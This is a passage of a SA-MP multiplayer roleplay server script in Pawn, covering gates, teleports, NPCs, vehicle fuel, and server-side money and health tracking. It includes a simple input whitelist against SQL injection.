public tnttime(playerid)
{
  tnttimer[playerid] = 0;
}
forward vvehtime(playerid);
public vvehtime(playerid)
{
  KillTimer(UiOTimer[playerid]);
  UiOTimer[playerid] = 0;
  vvehtimer[playerid] = 0;
}
forward vhptime(playerid);
public vhptime(playerid)
{
  vhptimer[playerid] = 0;
  KillTimer(HPTimerZ[playerid]);
}
forward vartime(playerid);
public vartime(playerid)
{
  vartimer[playerid] = 0;
  KillTimer(ArTimerZ[playerid]);
}
// End
forward matgett(playerid);
public matgett(playerid)
{
  MatGet[playerid] = 0;
}
forward AccGunT(playerid);
public AccGunT(playerid)
{
  AccGun[playerid] -= 1;
}
forward AccRefillT(playerid);
public AccRefillT(playerid)
{
  AccRefill[playerid] -= 1;
}
forward AccDrugsT(playerid);
public AccDrugsT(playerid)
{
  AccDrugs[playerid] -= 1;
}
forward AccRepairT(playerid);
public AccRepairT(playerid)
{
  AccRepair[playerid] -= 1;
}
forward pbvotet(playerid);
public pbvotet(playerid)
{
	ShowPlayerDialog(playerid, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");//space added

}
forward spraytime(playerid);
public spraytime(playerid)
{
  SetPlayerVirtualWorld(playerid, 0)
  new carid = GetPlayerVehicleID(playerid);
  SetVehicleVirtualWorld(carid, 0);
  SetVehiclePos(carid, TeleportDest2[playerid][0],TeleportDest2[playerid][1],TeleportDest2[playerid][2]);
  SetVehicleZAngle(carid, ZAng[playerid]);
  //ChangeVehicleColor(carid, vhcolor1[playerid], vhcolor2[playerid]);
		for( new i = 0; i<Akharish; i++ )
		{
		if(IsPlayerConnected(i) && IsPlayerInAnyVehicle(i))
		{
		if(GetPlayerVehicleID(i) == carid)
		{
	   if(GetPlayerVehicleSeat(i) == 0)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 0);
		}
		else if(GetPlayerVehicleSeat(i) == 1)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 1);
		}
		else if(GetPlayerVehicleSeat(i) == 2)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 2);
		}
		else if(GetPlayerVehicleSeat(i) == 3)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 3);
		}
		else if(GetPlayerVehicleSeat(i) == 4)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 4);
		}
		else if(GetPlayerVehicleSeat(i) == 5)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 5);
		}
		else if(GetPlayerVehicleSeat(i) == 6)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 6);
		}
		else if(GetPlayerVehicleSeat(i) == 7)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 7);
		}
		else if(GetPlayerVehicleSeat(i) == 8)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 8);
		}
		else if(GetPlayerVehicleSeat(i) == 9)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 9);
		}
		else if(GetPlayerVehicleSeat(i) == 10)
		{
		SetPlayerVirtualWorld(i, 0);
		PutPlayerInVehicle(i, carid, 10);
		}
		}
		}
		}

}
public warnt(playerid)
{
  warntime[playerid] = 0;
  KillTimer(Wuroz[playerid]);
  Wuroz[playerid] = 0;
}

//------------------------------------------------------------------------------------

public GateTime()
{
	MoveDynamicObject(barrierls, 1544.69641113,-1630.79003906,13.00000000, 0.001, 0.0, 90.0, 90);
	gateopen1 = 0;
	return 1;
}
public GateTime1()
{
	MoveDynamicObject(barrierlv, 2238.16210938,2450.41113281,10.71316910, 0.001, 0.0, 89.0, 90.0);
	gateopen2 = 0;
	return 1;
}
public GateTime11()
{
	MoveDynamicObject(prisonmaingate, -1037.32507, -588.12744, 30.62311, 3);
	gateopen11 = 0;
	return 1;
}
public GateTime111()
{
	MoveDynamicObject(prisonmolaghat, 2578.28296, -1496.61218, -47.34000, 3);
	prisonmolaghatopen = 0;
	return 1;
}
public GarageLS()
{
	MoveDynamicObject(garagels, 1588.3868,-1638.2165,13.7, 5);
	gateopen3 = 0;
	return 1;
}
public areagate1()
{
MoveDynamicObject(area1gate1,321.321075, 1897.642333, 16.636323,5,0.000000, 0.000000, 270.000000);
MoveDynamicObject(area2gate1,321.321075, 1897.642333, 19.806344,5,0.000000, 0.000000, 270.000000);
MoveDynamicObject(area3gate1,321.321075, 1897.642333, 22.946380,5,0.000000, 0.000000, 270.000000);
gateopen4 = 0;
return 1;
}
public areagate2()
{
MoveDynamicObject(area1gate2,81.349678, 1922.567382, 16.657611,5,0.000000, 0.000000, 90.000000);
MoveDynamicObject(area2gate2,81.349678, 1913.806518, 16.657611,5,0.000000, 0.000000, 90.000000);
gateopen5 = 0;
return 1;
}
public areagate3()
{
MoveDynamicObject(area1gate3,81.348129, 2063.251464, 16.505308,5,0.000000, 0.000000, 90.000000);
MoveDynamicObject(area2gate3,81.348129, 2072.024902, 16.505308,5,0.000000, 0.000000, 90.000000);
gateopen6 = 0;
return 1;
}
public areagate()
{
MoveDynamicObject(AreaGate,209.79103, 1875.28442, 12.13354,4.1,0,0,0);
gateopen7 = 0;
return 1;
}
public GarageLV()
{
	MoveDynamicObject(garagelv, 2335.28149414,2444.17993164,6.96999979, 5);
	gateopen8 = 0;
	return 1;
}
public GarageLV1()
{
	MoveDynamicObject(garagelv1, 2294.00000000,2498.59155273,4.50000000, 5);
	gateopen9 = 0;
	return 1;
}
public TTgateT()
{
	MoveDynamicObject(TTgate, 2223.2632, -1141.1239, 28.3421, 5);
	gateopen10 = 0;
	return 1;
}
public EVgateT()
{
	MoveDynamicObject(EVgate, 2184.15991, -1762.50024, 14.65228, 5);
	gateopen22 = 0;
	return 1;
}
public JailXT()
{
	MoveDynamicObject(JailX, 1764.49976, -1547.03247, 2004.02783, 5);
	gateopen23 = 0;
	return 1;
}
public LStoLV(playerid)
{
	SetPlayerPos(playerid,1705.852172,1438.773559,10.763327);
	SetPlayerInterior(playerid,0);
	return 1;
}
public LStoSF(playerid)
{
	SetPlayerPos(playerid,-1407.912963,-308.195220,14.148437);
	SetPlayerInterior(playerid,0);
	return 1;
}
public LVtoLS(playerid)
{
	SetPlayerPos(playerid,1642.647705,-2248.739746,13.488468);
	SetPlayerInterior(playerid,0);
	return 1;
}
public LVtoSF(playerid)
{
	SetPlayerPos(playerid,-1407.912963,-308.195220,14.148437);
	SetPlayerInterior(playerid,0);
	return 1;
}
public SFtoLV(playerid)
{
	SetPlayerPos(playerid,1705.852172,1438.773559,10.763327);
	SetPlayerInterior(playerid,0);
	return 1;
}
public SFtoLS(playerid)
{
	SetPlayerPos(playerid,1642.647705,-2248.739746,13.488468);
	SetPlayerInterior(playerid,0);
	return 1;
}
public RespawnNPCLS()
{
FCNPC_Respawn(NPCLS);
FCNPC_SetVirtualWorld(NPCLS, 82);
FCNPC_SetInterior(NPCLS, 102);
FCNPC_SetAngle(NPCLS, 179.580810);
FCNPC_SetAnimation(NPCLS,417,4.0,1,0,0,0,1);
new Text3D:NPCLSText = Create3DTextLabel("Billy", 0xFFFFFFFF, 30.0, 40.0, 50.0, 20.0, 102, 1);
Attach3DTextLabelToPlayer(NPCLSText, NPCLS, 0.0, 0.0, 0.0);
FCNPC_SetHealth(NPCLS, 250);
FCNPC_SetInvulnerable(NPCLS, true);
goftls = 0;
return 1;
}
public CreateNPCLS()
{
NPCLS = FCNPC_Create("Billy");// Mard
FCNPC_Spawn(NPCLS, 5, 754.893493, 1459.121826, 1102.741943);
FCNPC_SetVirtualWorld(NPCLS, 82);
FCNPC_SetInterior(NPCLS, 102);
FCNPC_SetAngle(NPCLS, 179.580810);
FCNPC_SetAnimation(NPCLS,417,4.0,1,0,0,0,1);
//FCNPC_ToggleReloading(NPCLS, false);
//FCNPC_ToggleInfiniteAmmo(NPCLS, true);
new Text3D:NPCLSText = Create3DTextLabel("Billy", 0xFFFFFFFF, 30.0, 40.0, 50.0, 20.0, 102, 1);
Attach3DTextLabelToPlayer(NPCLSText, NPCLS, 0.0, 0.0, 0.0);
FCNPC_SetHealth(NPCLS, 250);
FCNPC_SetInvulnerable(NPCLS, true);
//FCNPC_SetAmmo(NPCLS, 10000);
goftls = 0;
return 1;
}
public RespawnNPCLV()
{
FCNPC_Respawn(NPCLV);
FCNPC_SetVirtualWorld(NPCLV, 83);
FCNPC_SetInterior(NPCLV, 102);
FCNPC_SetAngle(NPCLV, 179.580810);
FCNPC_SetAnimation(NPCLV,1711,4.0,1,0,0,0,1);
new Text3D:NPCLVText = Create3DTextLabel("Chester", 0xFFFFFFFF, 30.0, 40.0, 50.0, 20.0, 102, 1);
Attach3DTextLabelToPlayer(NPCLVText, NPCLV, 0.0, 0.0, 0.0);
FCNPC_SetHealth(NPCLV, 250);
FCNPC_SetInvulnerable(NPCLV, true);
goftlv = 0;
return 1;
}
public CreateNPCLV()
{
NPCLV = FCNPC_Create("Chester");// Mard
FCNPC_Spawn(NPCLV, 189, 754.893493, 1459.121826, 1102.741943);
FCNPC_SetVirtualWorld(NPCLV, 83);
FCNPC_SetInterior(NPCLV, 102);
FCNPC_SetAngle(NPCLV, 179.580810);
FCNPC_SetAnimation(NPCLV,1711,4.0,1,0,0,0,1);
//FCNPC_ToggleReloading(NPCLS, false);
//FCNPC_ToggleInfiniteAmmo(NPCLS, true);
new Text3D:NPCLVText = Create3DTextLabel("Chester", 0xFFFFFFFF, 30.0, 40.0, 50.0, 20.0, 102, 1);
Attach3DTextLabelToPlayer(NPCLVText, NPCLV, 0.0, 0.0, 0.0);
FCNPC_SetHealth(NPCLV, 250);
FCNPC_SetInvulnerable(NPCLV, true);
//FCNPC_SetAmmo(NPCLV, 10000);
goftlv = 0;
return 1;
}
public RespawnNPCSF()
{
FCNPC_Respawn(NPCSF);
FCNPC_SetVirtualWorld(NPCSF, 84);
FCNPC_SetInterior(NPCSF, 102);
FCNPC_SetAngle(NPCSF, 179.580810);
FCNPC_SetAnimation(NPCSF,954,4.0,1,0,0,0,1);
new Text3D:NPCSFText = Create3DTextLabel("Claudia", 0xFFFFFFFF, 30.0, 40.0, 50.0, 20.0, 102, 1);
Attach3DTextLabelToPlayer(NPCSFText, NPCSF, 0.0, 0.0, 0.0);
FCNPC_SetHealth(NPCSF, 300);
FCNPC_SetInvulnerable(NPCSF, true);
goftsf = 0;
return 1;
}
public CreateNPCSF()
{
NPCSF = FCNPC_Create("Claudia");// Zan
FCNPC_Spawn(NPCSF, 194, 754.893493, 1459.121826, 1102.741943);
FCNPC_SetVirtualWorld(NPCSF, 84);
FCNPC_SetInterior(NPCSF, 102);
FCNPC_SetAngle(NPCSF, 179.580810);
FCNPC_SetAnimation(NPCSF,954,4.0,1,0,0,0,1);
//FCNPC_ToggleReloading(NPCLS, false);
//FCNPC_ToggleInfiniteAmmo(NPCLS, true);
new Text3D:NPCSFText = Create3DTextLabel("Claudia", 0xFFFFFFFF, 30.0, 40.0, 50.0, 20.0, 102, 1);
Attach3DTextLabelToPlayer(NPCSFText, NPCSF, 0.0, 0.0, 0.0);
FCNPC_SetHealth(NPCSF, 300);
FCNPC_SetInvulnerable(NPCSF, true);
goftsf = 0;
return 1;
}
public blT1()
{
	MoveDynamicObject(Balsys1, 321.793060,-1630.432128,100.143329, 10);
	//balsys1 = 1;
	SetTimer("blT2" ,7000 ,false);
	return 1;
}
public blT2()
{
	MoveDynamicObject(Balsys1, 515.723449,-1418.986694,90.963569, 10);
	//balsys1 = 1;
	SetTimer("blT3" ,22000 ,false);
	return 1;
}
public blT3()
{
	MoveDynamicObject(Balsys1, 1363.746337,-1036.938964,120.140625, 10);
	//balsys1 = 1;
	SetTimer("blT4" ,110000 ,false);
	return 1;
}
public blT4()
{
	MoveDynamicObject(Balsys1, 303.965179,-1901.703857,120.574748, 10);
//	balsys1 = 1;
	SetTimer("blT5" ,100000 ,false);
	return 1;
}
public blT5()
{
	MoveDynamicObject(Balsys1, 303.965179,-1901.703857,0.574748, 10);
	//balsys1 = 0;
	return 1;
}
public bl2T1()
{
	MoveDynamicObject(Balsys2, 1249.162231,-1545.500366,100.143329, 10);
	//balsys2 = 1;
	SetTimer("bl2T2" ,90000 ,false);
	return 1;
}
public bl2T2()
{
	MoveDynamicObject(Balsys2, 1457.649780,-1514.878295,90.963569, 10);
//	balsys2 = 1;
	SetTimer("bl2T3" ,22000 ,false);
	return 1;
}
public bl2T3()
{
	MoveDynamicObject(Balsys2, 1449.684082,-1138.769653,120.140625, 10);
//	balsys2 = 1;
	SetTimer("bl2T4" ,34000 ,false);
	return 1;
}
public bl2T4()
{
	MoveDynamicObject(Balsys2, 1192.949218,-722.294372,120.574748, 10);
//	balsys2 = 1;
	SetTimer("bl2T5" ,40000 ,false);
	return 1;
}
public bl2T5()
{
	MoveDynamicObject(Balsys2, 326.079589,-1832.628906,120.834218, 10);
//	balsys2 = 1;
	SetTimer("bl2T6" ,100000 ,false);
	return 1;
}
public bl2T6()
{
	MoveDynamicObject(Balsys2, 271.637725,-1897.869995,0.361719, 10);
//	balsys2 = 0;
	return 1;
}
/*public sfpdgate1T()
{
	MoveDynamicObject(sfpdgate1, -1624.76929, 688.32880, 8.89564, 5);
	gateopen20 = 0;
	return 1;
}*/
public sfpdgate2T()
{
	MoveDynamicObject(sfpdgate2, -1636.33142, 688.33667, 8.89564, 5);
	gateopen21 = 0;
	return 1;
}
public obj5T()
{
	MoveDynamicObject(obj5, 1021.22833, -377.68338, 74.76195, 5.00);
//	gateopen15 = 0;
	return 1;
}
FormatNumber(number)
{
   new Str[15];
   format(Str, 15, "%d", number);

   if (strlen(Str) < sizeof(Str))
   {
	 if (number >= 1000 && number < 10000)
		   strins( Str, ",", 1, sizeof(Str));

	 else if (number >= 10000 && number < 100000)
		 strins(Str, ",", 2, sizeof(Str));

	 else if (number >= 100000 && number < 1000000)
		 strins(Str, ",", 3, sizeof(Str));

	 else if (number >= 1000000 && number < 10000000)
		 strins(Str, ",", 1, sizeof(Str)),strins(Str, ",", 5, sizeof(Str));

	 else if (number >= 10000000 && number < 100000000)
		 strins(Str, ",", 2, sizeof(Str)),strins(Str, ",", 6, sizeof(Str));

	 else if (number >= 100000000 && number < 1000000000)
		 strins(Str, ",", 3, sizeof(Str)),strins(Str, ",", 7, sizeof(Str));

	 else if (number >= 1000000000 && number < 10000000000)
		 strins(Str, ",", 1, sizeof(Str)),
		 strins(Str, ",", 5, sizeof(Str)),
		 strins(Str, ",", 9, sizeof(Str));
	 else format(Str, 10, "%d", number);
   }
   else  format( Str, 15, "<BUG>" );
   return Str;
}
FIXES_valstr(dest[], value, bool:pack = false)
{
  // "format" can't handle cellmin properly.
  static const
    sc_szCellmin[] = !"-2147483648";
  if (value == cellmin)
  {
    pack && strpack(dest, sc_szCellmin, 12) || strunpack(dest, sc_szCellmin, 12);
  }
  else
  {
    format(dest, 12, "%d", value),
    pack && strpack(dest, dest, 12);
  }
  return 0;
}
/*FormatPhoneNumber(number)
{
   new STR[16];

   format(STR, 15, "%d", number);
   if (strlen(STR) < sizeof(STR))
   {
   strins( STR, "-", 3, sizeof(STR));
   }
   else  format( STR, 15, "<BUG>" );
   return STR;
}*/
FormatPhoneNumber(number)
{
  new temp[24],counter = -1;
  FIXES_valstr(temp,number);
  for(new i=0,j=strlen(temp);i<j;i++)
  {
    counter++;
    if(counter == 3)
    {
      strins(temp,"-",i);
    }
  }
  return temp;
}
stock soratbegirs(vehicleid)
{
	new Float:speed_x,Float:speed_y,Float:speed_z,Float:final_speed,final_speed_int;
GetVehicleVelocity(vehicleid,speed_x,speed_y,speed_z);
	   final_speed = floatsqroot(((speed_x*speed_x)+(speed_y*speed_y)))*180.0;
	   final_speed_int = floatround(final_speed,floatround_round);
	   return final_speed_int;
}
forward benzinkamkon();
public benzinkamkon()
{
	for(new i = 0; i < Akharish; i++)
	{
		new Fuel_string[24];
		new vehicle = GetPlayerVehicleID(i);
		new soratemanobegir = soratbegirs(vehicle);
		if(IsPlayerConnected(i) && IsPlayerInAnyVehicle(i) && (GetPlayerState(i) == PLAYER_STATE_PASSENGER || GetPlayerState(i) == PLAYER_STATE_DRIVER))
		{
			format(Fuel_string,24,"Fuel: ~w~%i%",Benzin[vehicle]);
			PlayerTextDrawSetString(i, FuelTextDraw[i], Fuel_string);
			if(EngineSTATE[vehicle] == 1)
			{
				if(IsAPlane(vehicle) || IsAHarvest(vehicle) || IsAHarvest2(vehicle) || IsABike(vehicle) || IsPGangCar8(vehicle))PlayerTextDrawSetString(i, FuelTextDraw[i], "Fuel: ~w~100%");
				else
				{
					if(soratemanobegir <= 100)
					{
						DarsadBenzin[vehicle] ++;
						if(DarsadBenzin[vehicle] >= 20 && Benzin[vehicle] != 0)
						{
							DarsadBenzin[vehicle] = 0;  Benzin[vehicle] --;
							if(OwnedMashin[vehicle])
							{
								SaveKonValV(vehicle,"cFuel",Benzin[vehicle]);
							}
						}
					}
					if(soratemanobegir >= 101 && soratemanobegir <= 180)
					{
						DarsadBenzin[vehicle] ++;
						if(DarsadBenzin[vehicle] >= 15 && Benzin[vehicle] != 0)
						{
							DarsadBenzin[vehicle] = 0;  Benzin[vehicle] --;
							if(OwnedMashin[vehicle])
							{
								SaveKonValV(vehicle,"cFuel",Benzin[vehicle]);
							}
						}
					}
					if(soratemanobegir >= 181)
					{
						DarsadBenzin[vehicle] ++;
						if(DarsadBenzin[vehicle] >= 7 && Benzin[vehicle] != 0)
						{
							DarsadBenzin[vehicle] = 0;  Benzin[vehicle] --;
							if(OwnedMashin[vehicle])
							{
								SaveKonValV(vehicle,"cFuel",Benzin[vehicle]);
							}
						}
					}
				}
				if(Benzin[vehicle] == 0)
				{
					SCM(i,COLOR_LIGHTGREEN,"No fuel in vehicle, call a mechanic with /service mechanic or buy a gas can.");
					GetVehicleParamsEx(vehicle,engine,lights,alarm,doors,bonnet,boot,objective);
					SetVehicleParamsEx(vehicle,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
					EngineSTATE[vehicle] = 0;
					TimeOffedEngine[i] = 10;
				}
			}
		}
	}
	return 0;
}


	stock GetVehicleSpeed( vehicleid )
{
    new
        Float:x,
        Float:y,
        Float:z,
        vel;
    GetVehicleVelocity( vehicleid, x, y, z );
    vel = floatround( floatsqroot( x*x + y*y + z*z ) * 180 );           // KM/H
//  vel = floatround( floatsqroot( x*x + y*y + z*z ) * 180 / MPH_KMH ); // Mph
    return vel;
}


forward AntiSQLInject(string[]);
public AntiSQLInject(string[])
{
	for(new i = 0; i < strlen(string); i++)
	{
	   switch(string[i])
	   {
		  case 0x30..0x39: continue; //[0-9]
		  case 0x41..0x5A: continue; //[A-Z]
		  case 0x61..0x7A: continue; //[a-z]
		  case '{', '}': continue;
		  default: return 1;
	   }
	}
	return 0;
}
forward FindBadSign(string[]);
public FindBadSign(string[])
{
	for(new i = 0; i < strlen(string); i++)
	{
	   switch(string[i])
	   {
		  case 0x30..0x39: continue; //[0-9]
		  case 0x41..0x5A: continue; //[A-Z]
		  case 0x61..0x7A: continue; //[a-z]
		  case '_', '[', ']', '(', ')', '.', '$': continue;
		  default: return 1;
	   }
	}
	return 0;
}
	stock GetPlayerSpeed( playerid )
{
    new
        Float:x,
        Float:y,
        Float:z,
        vel;
    GetPlayerVelocity( playerid, x, y, z );
    vel = floatround( floatsqroot( x*x + y*y + z*z ) * 180 );           // KM/H
//  vel = floatround( floatsqroot( x*x + y*y + z*z ) * 180 / MPH_KMH ); // Mph
    return vel;
}
public OnPlayerClickMap(playerid, Float:fX, Float:fY, Float:fZ)
{
if(FCNPC_IsValid(playerid)) return 1;
  if(MapClick[playerid] == 1)
  {
  if(PlayerInfo[playerid][pAdmin]>=1)
  {
      CA_FindZ_For2DCoord(fX,fY,fZ);
      if(IsPlayerInAnyVehicle(playerid))
      {
        SetVehiclePos(GetPlayerVehicleID(playerid),fX,fY,fZ+2);
      }
      else
      {
        SetPlayerPos(playerid,fX,fY,fZ+1);
      }
    //new str[145];
    //format(str, sizeof(str), "[Admin-Warn]: {FFFFFF}Admin %s has teleported to %f, %f, %f using map click", PlayerInfo[playerid][pName],fX,fY,fZ);
    //SendAdminMessage(COLOR_AdminWarn,str);
  }
  }
    return 1;
}
public OnPlayerExitVehicle(playerid, vehicleid)
{
if(FCNPC_IsValid(playerid)) return 1;
if(OwnedMashin[vehicleid] == 1)
{
new Float:Healz;
GetVehicleHealth(vehicleid, Healz);
if(Healz < 250.0)
{
ShouldTakeIt[vehicleid] = 1;
}
}
LastSpeedVeh[playerid] = 0;
//AFKCheckActiveAdad[playerid] = 0;
	for(new i = 0;i < Akharish;i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(OnEnteringVehPlay[i] == playerid)
		  {
			 OnEnteringVehPlay[i] = INVALID_PLAYER_ID;
			 OnEnteringVeh[i] = 0;
		  }
	   }
	}
	if(CarFarar[playerid] == 1)
			 {
				SendClientMessage(playerid,COLOR_SINA2,"PrisonBreak Hacker: {FF0000}Sorry :( You Lose Your Car Because You Get Out Of Escape Car.");
				CarFarar[playerid] =0;
				DestroyVehicle(FararCar);
			 }
if(TakingLesson[playerid] == 1)
{
SetVehicleToRespawn(vehicleid);
}
return 1;
}
stock PutPlayerInExamVehicle( playerid )
{
	new liExamVehicle[ 8 ] = { 361, 362, 363, 364, 365, 366, 367 }, bool: lbExamVehicleOcc[ 8 ];

	for( new i = 0; i < Akharish; i ++ )
	   for( new ii = 0; ii < sizeof liExamVehicle; ii ++ )
		  if( lbExamVehicleOcc[ ii ] == false )
			 if( IsPlayerInVehicle( i, liExamVehicle[ ii ] ) && GetPlayerState( i ) == PLAYER_STATE_DRIVER )
				lbExamVehicleOcc[ ii ] = true;

	for( new ii = 0; ii < sizeof liExamVehicle; ii ++ )
	{
	   if( lbExamVehicleOcc[ ii ] == false )
	   {
		  PutPlayerInVehicle( playerid, liExamVehicle[ ii ], 0 );
		  return 1;
	   }
	}
	return 1;
}
public OnVehicleSpawn(vehicleid)
{
	ShouldTakeIt[vehicleid] = 0;
	LinkVehicleToInterior(vehicleid, 0);
	SetVehicleVirtualWorld(vehicleid, 0);
	CarRadio[vehicleid][0] = '\0';
	LockEngine[vehicleid] = false;
	GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	SetVehicleParamsEx(vehicleid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
	EngineSTATE[vehicleid] = 0;
	LightsSTATE[vehicleid] = 0;
	bonnetSTATE[vehicleid] = 0;
	bootSTATE[vehicleid] = 0;
	SetVehicleHealth(vehicleid, 1000.0);
	if(OwnedMashin[vehicleid] != 1) Benzin[vehicleid] = 100;
	if(OwnedMashin[vehicleid] == 1)
	{
	new vown = MashinOwner[vehicleid];
	new v;
	new pcar;
	if(vehicleid == PINFO[vown][pCar_1]) {v = PINFO[vown][pVeh1];pcar = PINFO[vown][pCar_1];}
	else if(vehicleid == PINFO[vown][pCar_2]) {v = PINFO[vown][pVeh2];pcar = PINFO[vown][pCar_2];}
	else if(vehicleid == PINFO[vown][pCar_3]) {v = PINFO[vown][pVeh3];pcar = PINFO[vown][pCar_3];}
	else if(vehicleid == PINFO[vown][pCar_4]) {v = PINFO[vown][pVeh4];pcar = PINFO[vown][pCar_4];}
	else if(vehicleid == PINFO[vown][pCar_5]) {v = PINFO[vown][pVeh5];pcar = PINFO[vown][pCar_5];}
	else if(vehicleid == PINFO[vown][pCar_6]) {v = PINFO[vown][pVeh6];pcar = PINFO[vown][pCar_6];}
	   if(vInfo[v][cHealth] <= 249.9)
	   {
		  vInfo[v][cHealth] = 1000.0;
		  SaveKonFloatV(v, "cHealth", 1000);
		  if(vInfo[v][cInsurance] <= 0)
		  {
			 vInfo[v][cFixed] = 0;
			 SaveKonValV(v, "cFixed", 0);
		  }
		  else
		  {
			 vInfo[v][cInsurance] -= 1;
			 SaveKonValV(v, "cInsurance", vInfo[v][cInsurance]);
		  }
		  //SaveAccount(MashinOwner[vehicleid]);
	   }
	   SetVehicleHealth(vehicleid,vInfo[v][cHealth]);
	   ModVehicle(vown,pcar);
	   ChangeVehicleColor(vehicleid,vInfo[v][cColor1],vInfo[v][cColor2]);
	   ModVehicle(vown,pcar);
	   UpdateVehicleDamageStatus(vehicleid,vInfo[v][cPanel],vInfo[v][cDoors],vInfo[v][cLights],vInfo[v][cTires]);
	   GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	   for(new AP = 0;AP<Akharish;AP++)
	   {
		  if(IsPlayerConnected(AP))
		  {
			 SetVehicleParamsForPlayer(vehicleid,AP,objective,vInfo[v][cLock]);
				LockIs[vehicleid][AP] = vInfo[v][cLock];
		  }
	   }
	}
	if(MashinRenter[vehicleid] != INVALID_PLAYER_ID)
	{
	   gCarLock[vehicleid] = 0;
	   for(new i = 0;i<Akharish;i++)
	   {
		  if(IsPlayerConnected(i))
		  {
			 SetVehicleParamsForPlayer(vehicleid, i, 0, 0);
		  }
	   }
	   RentedVehicle[MashinRenter[vehicleid]] = INVALID_VEHICLE_ID;
	   MashinRenter[vehicleid] = INVALID_PLAYER_ID;
	}
	SetVehicleSoratLimit(vehicleid, 0);
	return 1;
}

forward KickPublic(plyid);
public KickPublic(plyid) { Kick(plyid); }

stock KickWithMessage(plyid, color, message[])
{
	if(IsPlayerConnected(plyid))
	{
	   SendMessage(plyid, color, message);
	   SetTimerEx("KickPublic", 50, 0, "i", plyid);
	}
	return 1;
}
forward HealtheshoKamKon(playerid);
public HealtheshoKamKon(playerid)
{
if(HealthAllowedForPlayer[playerid] == 1 && GodmodeFeature[playerid] == false && AFK[playerid] == 0)
 {
 new Float:health;
 GetPlayerHealth(playerid,health);
 SetPlayerKoon(true, playerid,health-1);
 }
 return 0;
}
/*
forward HealtheshoKamKonZ(playerid);
public HealtheshoKamKonZ(playerid)
{
 new Float:health;
 GetPlayerHealth(playerid,health);
if(GodmodeFeature[playerid] == false && AFK[playerid] == 0 && TooMargGoshne[playerid] == 1 && health > -1 && InSleep[playerid] == 0)
 {
 SetPlayerHealth(playerid, health-1);
 }
 return 0;
}
forward HealtheshoKamKonV(playerid);
public HealtheshoKamKonV(playerid)
{
 new Float:health;
 GetPlayerHealth(playerid,health);
if(GodmodeFeature[playerid] == false && AFK[playerid] == 0 && TooMargTeshne[playerid] == 1 && health > -1 && InSleep[playerid] == 0)
 {
 SetPlayerHealth(playerid, health-1);
 }
 return 0;
}
*/
/*
forward GoshneKon(playerid);
public GoshneKon(playerid)
{
 if(GodmodeFeature[playerid] == false && AFK[playerid] == 0 && MizaneGoshnegi[playerid] != 0)
 {
 MizaneGoshnegi[playerid] -= 1;
 }
 return 0;
}
forward TeshneKon(playerid);
public TeshneKon(playerid)
{
 if(GodmodeFeature[playerid] == false && AFK[playerid] == 0 && MizaneTeshnegi[playerid] != 0)
 {
 MizaneTeshnegi[playerid] -= 1;
 }
 return 0;
}
*/
public RandomShomare(min,max)
{
	new rand;
	rand = random(max-min+1)+min;
	return rand;
}
/*-------------------------Anti Money hack------------------------------------*/
new Pool[MAX_PLAYERS];

stock GivePlayerPool(playerid, money)
{
	Pool[playerid] += money;
	ResetPlayerMoney(playerid);
	GivePlayerMoney(playerid,Pool[playerid]);
	PlayerInfo[playerid][pCash] += money;
	SaveKonVal(playerid, "pCash", Pool[playerid]);
	return Pool[playerid];
}
stock GivePlayerPoolEx(playerid, money)
{
	new cht[50];
	GivePlayerPool(playerid, money);
	if(money>=0){format(cht, sizeof(cht), "~g~+$%s", FormatNumber(money));}
	if(money<0){format(cht, sizeof(cht), "~r~-$%s", FormatNumber(money));}
	GameTextForPlayer(playerid, cht, 5000, 1);
	return Pool[playerid];
}
stock GetPlayerPool2(playerid, money)
{
	Pool[playerid] -= money;
	ResetPlayerMoney(playerid);
	GivePlayerMoney(playerid,Pool[playerid]);
	SaveKonVal(playerid, "pCash", Pool[playerid]);
	return Pool[playerid];
}
stock SetPlayerPool(playerid, money)
{
	Pool[playerid] = money;
	ResetPlayerMoney(playerid);
	GivePlayerMoney(playerid,Pool[playerid]);
	SaveKonVal(playerid, "pCash", Pool[playerid]);
	return Pool[playerid];
}
stock ResetPlayerPool(playerid)
{
	Pool[playerid] = 0;
	ResetPlayerMoney(playerid);
	GivePlayerMoney(playerid,Pool[playerid]);
	SaveKonVal(playerid, "pCash", Pool[playerid]);
	return Pool[playerid];
}
stock GetPlayerPool(playerid)
{
	return Pool[playerid];
}
/*------------------ServerSide Health hack------------------------------------*/
stock SetPlayerKoon(bool:SetKon, playerid, Float:khoon)
{
	if(khoon < 0) Koon[playerid] = 0;
	else Koon[playerid] = khoon;
	if(Koon[playerid] < 0) Koon[playerid] = 0;
	if(SetKon == true) SetPlayerHealth(playerid, khoon);
	if(Koon[playerid] <= 0)
	{
	   if(PlayerOnDeathingE[playerid] == false)
	   {
		  if(PlayDeathingCameraE[playerid] == false) SetPlayerHealth(playerid, 0);
	   }
	}
	return 1;
}

stock GivePlayerKoon(playerid,Float:khoon)
{
	Koon[playerid] += khoon;
	new Float:Heealth;
	GetPlayerHealth(playerid, Heealth);
	SetPlayerHealth(playerid, Heealth+khoon);
}


/*
stock strcpy(dest[], const source[], maxlength=sizeof dest) // Copy string to string! by SiNaGaMeR ;)
{
	strcat((dest[0] = EOS, dest), source, maxlength);
}
*/

stock GetPlayerKoon(playerid, &Float:khoon)
{
	khoon = Koon[playerid];
}

forward KoonTimer(playerid);
public KoonTimer(playerid)
{
	if(IsPlayerConnected(playerid) && PlayDeathingCameraE[playerid] == false)
	{
	new Float:H;
